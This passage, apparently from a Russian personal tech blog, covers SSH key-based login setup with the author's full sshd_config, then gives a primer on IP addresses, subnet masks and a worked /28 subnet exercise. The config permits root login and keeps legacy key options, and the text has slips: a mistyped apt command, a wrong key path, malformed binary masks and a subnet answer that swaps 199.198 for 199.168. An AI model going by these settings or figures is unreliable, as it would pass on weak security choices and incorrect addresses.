После чего попросят ввести имя ключа (оставьте его по умолчанию), а так же парольную фразу ( я её не задавал, но для большей сохранности ключей от посягательств злых лиц всякого рода, стоит задать)
По умолчанию ключи окажутся в домашнем каталоге пользователя в папке /.ssh/
~/.ssh/id_rsa.pub – открытый ключ
~/ssh/id_rsa - закрытый ключ
Что бы открытый ключ был увиден ssh сервером нам придется
# cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys (cat your-key-name.pub >> ~/.ssh/authorized_keys для последующих ключей!)
#chmod 600 ~/.ssh/authorized_keys
#chmod 700 ~/.ssh/
Теперь осталось скопировать закрытый ключ на компьютер с которого будет производиться подключение (или как вариан хранить его на флешке, не забыв сделать резервную копию)
Для подключения к серверу с другой linux компьютера должен быть установлени openssh клиент
#sudo apt-het install openssh-client
С Windows немного сложнее, так как вам придется конвертированный закрытый ключ генерированный openssh в формат понятный putty используя утилиту puttygen.
Ну и напоследок, мой sshd_config файл
# Package generated configuration file
# See the sshd(8) manpage for details
# What ports, IPs and protocols we listen for
Port 22
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation yes
# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 768
# Logging
SyslogFacility AUTH
LogLevel INFO
# Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile %h/.ssh/authorized_keys
# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes
# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no
# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no
# Change to no to disable tunnelled clear text passwords
PasswordAuthentication no
# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no
#MaxStartups 10:30:60
#Banner /etc/issue.net
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
UsePAM no
TCP/IP - это основной протокол передачи данных интернета (вернее это набор протоколов), знание основ которого необходимо любому IT специалисту, даже настраивающему сеть из двух компьютеров...
IP-адрес
Это уникальное, 32 разрядное число, которое идентифицирует узел (устройство подключенное к сети) в сети TCP/IP ... IP-адрес в привычном виде, выглядит как 4 разряда разделенных точками. Но так же может быть представлен в виде единого двоичного 32х разрядного числа...Для удобства понимания это число можно разбить на октены. (8-ми разрядные части)
192.168.23.67 - десятичное представление
11000000.10101000.00010111.01000011 - двоичное представление, разбитое на октены
11000000101010000001011101000011 - двоичное представление
Кроме того, каждый IP-адрес содержит в себе, адрес узла и адрес подсети, вот как это обьясняет microsoft (у меня лучше не получиться)
Чтобы глобальная сеть TCP/IP работала эффективно как совокупность сетей, маршрутизаторы, обеспечивающие обмен пакетами данных между сетями, не знают точного расположения узла, для которого предназначен пакет. Маршрутизаторы знают только, к какой сети принадлежит узел, и используют сведения, хранящиеся в таблицах маршрутизации, чтобы доставить пакет в сеть узла назначения. Как только пакет доставлен в необходимую сеть, он доставляется в соответствующий узел.
Для осуществления этого процесса IP-адрес состоит из двух частей. Первая часть IP-адреса обозначает адрес сети, последняя часть – адрес узла. Если рассмотреть IP-адрес 192.168.123.132 и разбить его на эти две части, то получится следующее:
192.168.123. Сеть
.132 узел
192.168.123.0 – адрес сети.
0.0.0.132 – адрес узл
Маска подсети
Маска подсети нужна для того, что бы протокол TCP/IP мог определить к какой сети принадлежит узел. И служит для определения какая часть IP адреса является частью адреса узла, а какая часть адресом сети. Из примера Microsoft ... совершенно не очевидно, что 0.0.0.132 - это адрес узла, ведь при другом значении маски адрес узла может быть 0.0.123.132.
если
192.168.123.0 Сеть, а 0.0.0.132 узел, то маска 255.255.255.0
192.168.0.0 Сеть, а 0.0.123.132 узел, то маска 255.255.0.0
Посмотрим, в двоичном исчислении
255.255.255.0 это
11111111.11111111.11111111.00000000, заметьте что впереди 24 единицы, поэтому для сетей с такой маской справедлива запись
192.168.123.0/24
Первые 24 разряда (число единиц в маске подсети) распознаются как адрес сети, а последние 8 разрядов (число оставшихся нолей в маске подсети) – адрес узла. Таким образом, получаем следующее:
Опять обратимся к документации microsoft
маски подсети 255.255.255.0 видно, что код сети 192.168.123.0, а адрес узла 0.0.0.132. Когда пакет с конечным адресом 192.168.123.132 доставляется в сеть 192.168.123.0 (из локальной подсети или удаленной сети), компьютер получит его из сети и обработает.
Почти все десятичные маски подсети преобразовываются в двоичные числа, представленные единицами слева и нолями справа. Вот еще некоторые распространенные маски подсети:
Десятичные Двоичные 255.255.255.192 1111111.11111111.1111111.11000000 255.255.255.224 1111111.11111111.1111111.11100000
Очень полезная статья, переписывать её здесь нет смысла, получиться плагиат, но читать всем обязательно, я же пока решу свою задачу.
Определите для данного IP адреса 199.198.10.18 / 28 адрес сети, адрес широковещательной рассылки, а также доступный первый и последний IP адрес. Возможно указанный адрес будет адресом сети или широковещательным адресом
IP-адрес 199.198.10.18 / 28
Маска 11111111.11111111.11111111.11110000 или 255.255.255.240
Подсеть 199.168.10.16/28
Широковещательный адрес 199.198.10.31
Первый доступный адрес узла 199.198.10.17
Последний доступный адрес узла 199.168.10.30